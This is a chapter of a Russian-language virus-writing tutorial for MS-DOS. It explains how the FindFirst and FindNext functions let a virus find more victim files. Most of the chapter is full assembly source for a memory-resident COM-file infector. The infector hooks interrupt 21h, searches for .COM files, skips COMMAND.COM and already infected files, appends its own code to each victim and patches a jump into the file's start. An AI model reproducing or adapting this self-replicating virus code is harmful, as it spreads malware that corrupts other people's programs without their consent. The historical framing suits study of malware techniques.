"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса

Вид материалаДокументы

Содержание


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Подобный материал:
1   ...   8   9   10   11   12   13   14   15   16

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



гл.14 ИСПОЛЬЗОВАНИЕ ФУНКЦИЙ FindFirst и FindNext ДЛЯ УВЕЛИЧЕНИЯ

ПОРАЖАЮЩЕЙ СПОСОБНОСТИ

(на базе предыдущего примера)

============================================================================

Здесь Вы узнаете кое-что новое. Вирус, который будет описан в этой гла-

ве, будет значительно более плодовит, нежели предыдущий. За счет использова-

ния функций 4Eh (FindFirst) и 4Fh (FindNext) прерывания 21h MSDOS.

Что это за функции такие? Функция 4Eh (FindFirst) позволяет Вам найти

первый файл, имя которого соответствует указанной маске (входной параметр

функции). Понятно, что в данном случае нас устраивает лишь маска *.COM. "Най-

ти файл" -- означает выдать Вам его полное имя, размер, дату создания и т.д.

По этим параметрам мы легко можем получить доступ к файлу и сделать с ним все

что захотим. Прежде чем дать описание вызова этой функции, вспомним о DTA.

DTA - область передачи данных, после запуска программы хранит введенные

после ее имени символы. Но она используется также для передачи данных между

разными процессами. У нас DTA будет пользоваться резидент. Но мы помним, что

DTA, как правило -- собственность какого-либо процесса, владеющего собствен-

ным PSP (DTA располагается в PSP по смещению 80h). А наш резидент будет си-

деть в МСВ-блоке и никакого PSP у него не будет. Стремно пользоваться чужой

DTA. Для подобных случаев в MS-DOS существует функция 1Ah -- установить DTA

на свой буфер.

Зачем же нам понадобилась DTA? Дело в том, что все данные о найденном

файле функция FindFirst помещает в DTA.

Вот как это выглядит (по данным thelp):


-------T-----T--------------------------------------------------------

¦ Вход ¦AH ¦ 4fH (Найти 1-й совпадающий файл)

L------¦DS:DX¦ адрес строки ASCIIZ с именем файла (допускаются ? и *)

¦CX ¦ атрибут файла для сравнения

-------+-----+--------------------------------------------------------

¦ Выход¦AX ¦ код ошибки если CF установлен

L------¦DTA ¦ заполнена данными (если не было ошибки)

L-----¦--------------------------------------------------------


Описание: DS:DX указывает на строку ASCIIZ в форме: "d:\путь\имяфайла",0.

Если диск и/или путь опущены, они подразумеваются по умолчанию.

Обобщенные символы * и ? допускаются в имени файла и расширении.


DOS находит имя первого файла в оглавлении, которое совпадает с за-

данным именем и атрибутом, и помещает найденное имя и другую инфор-

мацию в DTA, как показано ниже:

DTA

Смещ. Длн. Содержимое в DTA

----- ---- ---------------------------------------------------------------

----- - - - ----¬

+0 15H ¦ резервируется ¦ используется в последующих вызовах 4fH Find Next

+---+ - + - +----

+15H 1 ¦атр¦ атрибут файла для найденного файла

+---+---¬

+16H 2 ¦ время ¦ время создания/модификации в формате filetime

+---+---+

+18H 2 ¦ дата ¦ дата создания/модификации в формате filetime

+---+---+-------¬

+1aH 4 ¦ младш старш ¦ размер файла в байтах в формате DWORD

+---+---+---+---+¬

+1eH 0dH ¦ ¦ 13-байтовое ASCIIZ имя: "filename.ext",0

L---+ - + - +---+- (не дополнено пробелами; напр., DOIT.BATщ____)

2cH требуемый размер буфера


Замечания:

Типичная последовательность, используемая для поиска всех подходящих файлов:


> используйте вызов 1aH, чтобы установить DTA на локальный буфер

(или используйте умалчиваемую DTA в PSP по смещению 80H)

> уст. CX=атрибут, DS:DX => ASCIIZ диск, путь, обобщенное имя

> вызовите функцию 4eH (Найти 1-й)

> если флаг CF указывает ошибку, вы закончили (нет совпадений)

> уст. DS:DX => DTA (или на данные, которые вы скопировали из DTA

после вызова функции 4eH)

> повторять

обработать имя файла и данные по адресу DS:DX

вызвать функцию 4fH (Найти следующий)

пока Carry-флаг не покажет, что совпадений больше нет


Однако функция FindFirst годна лишь для поиска сАмого первого из файлов

нужного нам вида. А что, если первый подвернувшийся нам файл вовсе не годится

для заражения (или это -- COMMAND.COM, или -- уже зараженный файл, или файл

слишком большого размера) ? Для того, чтобы просмотреть остальные файлы мы

можем воспользоваться функцией FindNext.

Вот ее описание (по данным thelp):


----------T-------T-------------------------------------------------------------

¦ Вход ¦ AH ¦ 4fH (Найти следующий совпадающий файл)

L---------¦ DS:DX ¦ адрес данных, возвращенных предыдущей 4eH Найти 1-й Файл

----------+-------+-------------------------------------------------------------

¦ Выход ¦ AX ¦ код ошибки если CF установлен

L---------¦ DTA ¦ заполнена данными

L-------¦-------------------------------------------------------------


Описание: DS:DX указывает на 2bH-байтовый буфер с информацией, возвращенной

функцией 4eH Найти 1-й (либо DTA, либо буфер, скопированный из

DTA).


Используйте эту функцию после вызова 4eH. Следующее имя файла, сов-

падающее по обобщенному имени и атрибуту файла, копируется в буфер

по адресу DS:DX вместе с другой информацией (см. функцию 4eH

о структуре файловой информации в буфере, заполняемом DOS).


Входные данные FindNext берет из DTA, заполненной функцией FindFirst и,

в свою очередь, туда же помещает результаты своей работы.

Вот и вся новизна этой главы. Теперь -- блок/схема программы:


-----------------------¬

------------------------+ JMP to_initialization¦

¦ L-----------------------

¦

¦ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_

¦ INT 21h ---------------------------------------------¬

¦ ¦ ¦ а функция ли это N 4Bh? если нет -- ¦

¦ L----->¦ сваливаем на IRET-------------------------------------¬

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦ BP = 0 (счетчик попыток ¦ ¦

¦ ¦ найти новую жертву) ¦ ¦

¦ L------------------T-------------------------- ¦

¦ ¦ ¦

¦ ---------------------->¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦

¦ ¦ ¦а СОМ- ли файл запускается? Нет -- T- еще по--¬ ¦

¦ ¦ ¦и если запускается COMMAND.COM тоже +- ищем --+ ¦

¦ ¦ L------------------T-------------------------- ¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦ ¦

¦ ¦ ¦открыть запускаемый файл для чтения/записи ¦ ¦ ¦

¦ ¦ L------------------T-------------------------- ¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦ ¦

¦ ¦ ¦прочитать первые 6 байт в свой буфер ¦ ¦ ¦

¦ ¦ L------------------T-------------------------- ¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦ ¦

¦ ¦ ¦проверить, - заражен ли уже? если нет- ¦ ¦ ¦

¦ ¦ ¦ займемся им----------------------------------¦-¬ ¦

¦ ¦ L------------------T-------------------------- ¦ ¦ ¦

¦ ¦ ---------+-------------¬ ¦ ¦ ¦

¦ ¦ ¦ закроем файл ¦ ¦ ¦ ¦

¦ ¦ L--------T-------------- ¦ ¦ ¦

¦ ¦ ---------+-------------¬ ¦ ¦ ¦

¦ ¦ ¦ INC BP (еще попытка)¦<-------------- ¦ ¦

¦ ¦ L--------T-------------- ¦ ¦

¦ ¦ ---------+-------------¬ ¦ ¦

¦ ¦ ¦BP > 10 ? да - уходим--------------------------->

¦ ¦ L--------T-------------- ¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦ ¦

¦ ¦ ¦ устанавливаем DTA на свой буфер (а можно ¦ ¦ ¦

¦ ¦ ¦ воспользоваться и текущей DTA) ¦ ¦ ¦

¦ ¦ L------------------T-------------------------- ¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦ ¦

¦ ¦ ¦ выбор способа поиска жертвы (если искали ¦ ¦ ¦

¦ ¦ ¦ при помощи FindFirst, - выбираем FindNext) ¦ ¦ ¦

¦ ¦ L------------------T-------------------------- ¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦ ¦

¦ ¦ ¦ ищем (при пом. FindFirst или, - FindNext) ¦ ¦ ¦

¦ ¦ L------------------T-------------------------- ¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦ ¦

¦ ¦ ¦ если ошибка (больше файлов нет) - уходим----------------->

¦ ¦ L------------------T-------------------------- ¦ ¦

¦ ¦ -------------------+-------------------------¬ ¦ ¦

¦ ¦ ¦ устанавливаем DS:DX на имя нов. файла в DTA¦ ¦ ¦

¦ L---+------------------T-------------------------- ¦ ¦

¦ ¦ ¦ ¦

¦ -------------------+-------------------------¬<---- ¦

¦ ¦установка указателя на конец файла (при этом¦ ¦

¦ ¦мы получим длину файла в опред. формате (см.¦ ¦

¦ ¦выходные параметры функции LSEEK 42h) ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦по этим данным коррекция адресов в иници- ¦ ¦

¦ ¦ализационной части ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦запись кода вируса в конец файла ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦установка указателя на начало файла ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦запись в начало файла JMP far на код вируса ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦закрыть файл ¦ ¦

¦ L------------T--------------T----------------- ¦

¦ ¦ IRET ¦<------------------------------

¦ L---------------

¦

¦ ------------------------------------------¬

L----------->¦сажаем резидент в МСВ-блок (если его нет)¦

L------------------T-----------------------

-------------------+----------------------¬

¦реставрация начала файла (пересылка из бу-

¦фера сохраненного при заражении начала ¦

¦файла в его начало) и переход на него ¦

L------------------------------------------


Возможно, что алгоритм не оптимален; в данном случае, как и всюду в этом

опусе, эффективность принесена в жертву наглядности.

Вот программа:


-----------------------------------------------------------¬

¦ пример 21 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N21 комбинированный поиск жертвы (СОМ-файлов)

ASSUME CS:CodeSegment

;-------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

my_head: JMP initial

;

;

first_sought: DB 0 ;индикатор отработанности FindFirst

pattern: DB '*.COM',0 ;шаблон поиск для FindFirst

f_number: DW 0 ;описатель файла

;

; ;хранилище для адреса стандартного

saved_int21: DD 0 ; обработчика прерывания 13

; ; (2 слова)

;

int21_treater:CMP AH,4Bh

JE begin

JMP retro

begin: PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH DS

PUSH ES

PUSH DI

PUSH SI

PUSH BP

XOR BP,BP ;счетчик попыток поиска

;-----------анализ расширения файла-----------------------------¬

analysis: MOV DI,DX ;->DS:DX - имя ASCIIZ ¦

again: INC DI ;L------------------- ¦

CMP byte ptr DS:[DI],0 ; поиск конца имени фай-

JNE again ; ла ¦

; ; ¦

CMP byte ptr DS:[DI-5],44h ;не трогать COMMAND.COM¦

JE first_failed ; ¦

CMP word ptr DS:[DI-2],4D4Fh ;работать лишь с .COM ¦

JNE first_failed ; файлами ¦

CMP word ptr DS:[DI-4],432Eh ; ¦

JE allowed ; ¦

first_failed: JMP and_once_more ;еще поищем ¦

;----------------------------------------------------------------

allowed: ;-----------открыть файл для чтения/записи----------------------¬

MOV CX,0 ;атрибут файла ¦

MOV AH,3Dh ;--------------------¬ ¦

MOV AL,2 ;DS:[DX] - уже содер- ¦

CALL call_int_21 ; жится ASCIIZ строка ¦

MOV word ptr CS:[f_number - 100h],AX ; имени файла ¦

;----------------------------------------------------------------

;-----------считать начало файла в буфер------------------------¬

PUSH CS ;переустановка-¬ ¦

POP DS ; ¦ ¦

MOV BX,word ptr CS:[f_number - 100h] ; ¦ ¦

MOV AH,3Fh ; <- ¦

MOV DX,OFFSET data_exe - 100h ;DS:[DX] - буфер ввода ¦

MOV CX,6h ; ¦

CALL call_int_21 ; ¦

;----------------------------------------------------------------

;------------анализ наличия своего кода в файле-----------------¬

CMP word ptr CS:[data_exe - 100h + 3],500Eh; ¦

JNE treat ;T-свой код не ¦

CMP byte ptr CS:[data_exe - 100h + 5],0CBh ;¦ найден => зара-

JNE treat ;+---зим этот файл ¦

;----------------------------------------------------------------

;

CALL close_file ;закрыть файл

;

and_once_more:INC BP ;еще одна попытка

;

;------------искали более 10 раз?-------------------------------¬

CMP BP,10 ; ¦

JB limit_unreach ;лимит не превышен ¦

to_to_exit: JMP to_exit ;лимит превышен ¦

;----------------------------------------------------------------

limit_unreach:;------------установить DTA на свой буфер----------------------¬

MOV AH,1Ah ; ¦

PUSH CS ; ¦

POP DS ; ¦

MOV DX,OFFSET for_DTA - 100h ; ¦

CALL call_int_21 ; ¦

;----------------------------------------------------------------

;------------выбор способа поиска-------------------------------¬

CMP byte ptr CS:[first_sought - 100h],1 ;FindFirst отработан?¦

JE to_find_next ; да - use FindNext ¦

;----------------------------------------------------------------

to_find_first:;------------поиск при помощи find_first------------------------¬

MOV DX,OFFSET pattern - 100h ; DS = CS - самый пер¦

XOR CX,CX ; вый раз, больше ¦

MOV AH,4Eh ; так не будет ¦

MOV byte ptr CS:[first_sought - 100h],1 ; ¦

JMP short to_call_dos ; ¦

;----------------------------------------------------------------

to_find_next: ;------------поиск при помощи find_next-------------------------¬

MOV AH,4Fh ;для поиска используется DTA, ¦

to_call_dos: CALL call_int_21 ; заполненная ранее FindFirst ¦

;----------------------------------------------------------------

JC to_to_exit ;(если ошибка - не может найти)

;----------переустановка указателя на ASCIIZ (имя файла) в DTA--¬

MOV DX,OFFSET for_DTA - 100h + 1Eh ; по смещ-ю 1Eh в DTA¦

JMP analysis ; - имя файла;(DS=CS)¦

;----------------------------------------------------------------

;

;

;

treat: ;------------операция LSEEK TO END (получение длины файла)------¬

XOR CX,CX ; ¦

XOR DX,DX ; ¦

MOV BX,word ptr CS:[f_number - 100h] ; ¦

MOV AL,2 ; ¦

MOV AH,42h ;AX - длина файла ¦

CALL call_int_21 ;если файл длиннее ¦

CMP AX,0E000h ; E000h - не тро- ¦

JA to_close ; гать его ¦

;----------------------------------------------------------------

;------------корректировка адресов в инициирующей части---------¬

MOV CX,OFFSET my_head ;AX - длина файла ¦

ADD CX,AX ; ¦

MOV word ptr CS:[correct1 - 100h + 1],CX ; подробн. комента- ¦

; ; рий см. в пре- ¦

MOV CX,OFFSET data_exe ; дыдущем примере ¦

ADD CX,AX ; ¦

MOV word ptr CS:[correct2 - 100h + 1],CX ; ¦

; ; ¦

MOV CX,100h ; ¦

ADD CX,AX ; ¦

MOV word ptr CS:[where_jmp - 100h],CX ; ¦

;----------------------------------------------------------------

;------------запись своего кода в файл--------------------------¬

MOV byte ptr CS:[first_sought - 100h],0 ;регенерация флажка ¦

; ; отработанности ¦

MOV BX,word ptr CS:[f_number - 100h] ; вызова FindFirst ¦

MOV DX,OFFSET my_head - 100h ;DS:[DX] - буфер вы-¦

MOV CX,my_end - my_head ; вода ¦

MOV AH,40h ; ¦

CALL call_int_21 ; ¦

;----------------------------------------------------------------

;------------операция LSEEK TO BEGINING-------------------------¬

XOR CX,CX ; ¦

XOR DX,DX ; ¦

MOV BX,word ptr CS:[f_number - 100h] ; ¦

MOV AL,0 ; ¦

MOV AH,42h ; ¦

CALL call_int_21 ; ¦

;----------------------------------------------------------------

;------------запись JMP FAR на код------------------------------¬

MOV BX,word ptr CS:[f_number - 100h] ; ¦

MOV DX,OFFSET implant - 100h ;DS:[DX] - буфер вы-¦

MOV CX,6 ; вода ¦

MOV AH,40h ; ¦

CALL call_int_21 ; ¦

;----------------------------------------------------------------

;

to_close: CALL close_file

;

to_exit: POP BP

POP SI

POP DI

POP ES

POP DS

POP DX

POP CX

POP BX

POP AX

retro: JMP dword ptr CS:[saved_int21 - 100h]

;

;

call_int_21: ;------------вызов стандартного обработчика int 21h (процедура)-¬

PUSHF ¦

CALL dword ptr CS:[saved_int21 - 100h] ¦

RET ¦

;----------------------------------------------------------------

close_file: ;------------закрыть файл (процедура)---------------------------¬

MOV BX,word ptr CS:[f_number - 100h] ; ¦

MOV AH,3Eh ; ¦

CALL call_int_21 ; ¦

RET ; ¦

;----------------------------------------------------------------

;

;

;

initial: ;------------проверка наличия своей TSR копии в памяти----------¬

MOV AX,40h ; ¦

MOV ES,AX ; ¦

CMP byte ptr ES:[134h],55h ; ¦

JE no_tsr ; ¦

MOV byte ptr ES:[134h],55h ; ¦

;----------------------------------------------------------------

;------------создание своей TSR копии в памяти------------------¬

MOV AX,CS:[02] ;берем вершину свободной памяти ¦

; ; (в параграфах) ¦

; ; ¦

SUB AX,20h ;уменьшаем ее на 20h (в парагр.) ¦

; ; ¦

correct1: MOV SI,OFFSET my_head ;копируем из источника DS:head ¦

MOV ES,AX ;копируем в приемник ES:00; в ES ¦

XOR DI,DI ; - новая вершина своб. памяти ¦

MOV CX,my_end - my_head ; ¦

CLD ; ¦

REPE MOVSB ; ¦

; ; ¦

MOV BX,DS ; ¦

DEC BX ; ¦

MOV DS,BX ;уменьшаем размер МСВ-блока ¦

SUB word ptr DS:[03h],20h ;уменьшаем вершину свободной ¦

SUB word ptr DS:[12h],20h ; памяти ¦

;----------------------------------------------------------------

;------------перехват прерывания 21h----------------------------¬

XOR BX,BX ; сохраняем старый вектор ¦

MOV DS,BX ; 13h в переслан. копию ¦

MOV CX,DS:[21h*4+0] ; ¦

MOV word ptr ES:[saved_int21 - 100h + 0],CX ; ¦

MOV CX,DS:[21h*4+2] ; ¦

MOV word ptr ES:[saved_int21 - 100h + 2],CX ; ¦

; ; ¦

CLI ;кладем в таблицу векторов наш 13 ¦

MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFFSET¦

MOV word ptr DS:[21h*4+2],AX ;------>SEGMENT ¦

STI ; ¦

;----------------------------------------------------------------

;------------реставрация начала файла и переход на него---------¬

no_tsr: PUSH CS ; ¦

PUSH CS ; ¦

POP DS ; ¦

POP ES ; ¦

correct2: MOV SI,OFFSET data_exe ; ¦

MOV DI,100h ; ¦

MOV AX,DI ; ¦

MOV CX,6h ; ¦

CLD ; ¦

REPE MOVSB ; ¦

PUSH CS ; ¦

PUSH AX ; ¦

RETF ; ¦

;----------------------------------------------------------------

;------------буфер, куда считывается замещаемая часть файла-----¬

data_exe DW 20CDh ;в начале содержит INT 20h ¦

DB 0 ; (для запуска чистой ¦

DB 0Eh ; культуры) + сигнатура,- ¦

DB 50h ; чтобы не заражалась сама¦

DB 0CBh ; культура ¦

;----------------------------------------------------------------

;---------заготовка JMP far на свой код, (имплантируется в файл)¬

implant: DB 0B8h ;MOV AX, ¦

where_jmp: DW 00 ; ? адрес джампа ¦

DB 0Eh ;PUSH CS ¦

DB 50h ;PUSH AX ¦

DB 0CBh ;RETF ¦

my_end: ;----------------------------------------------------------------

for_DTA: ;здесь располагается буфер для DTA (в резиденте есть запас места)

;

MainProcedure ENDP

;

CodeSegment ENDS

END Start


Помимо функций FindFirst и FindNext вирусы также часто пользуются фун-

кциями открытия файлов.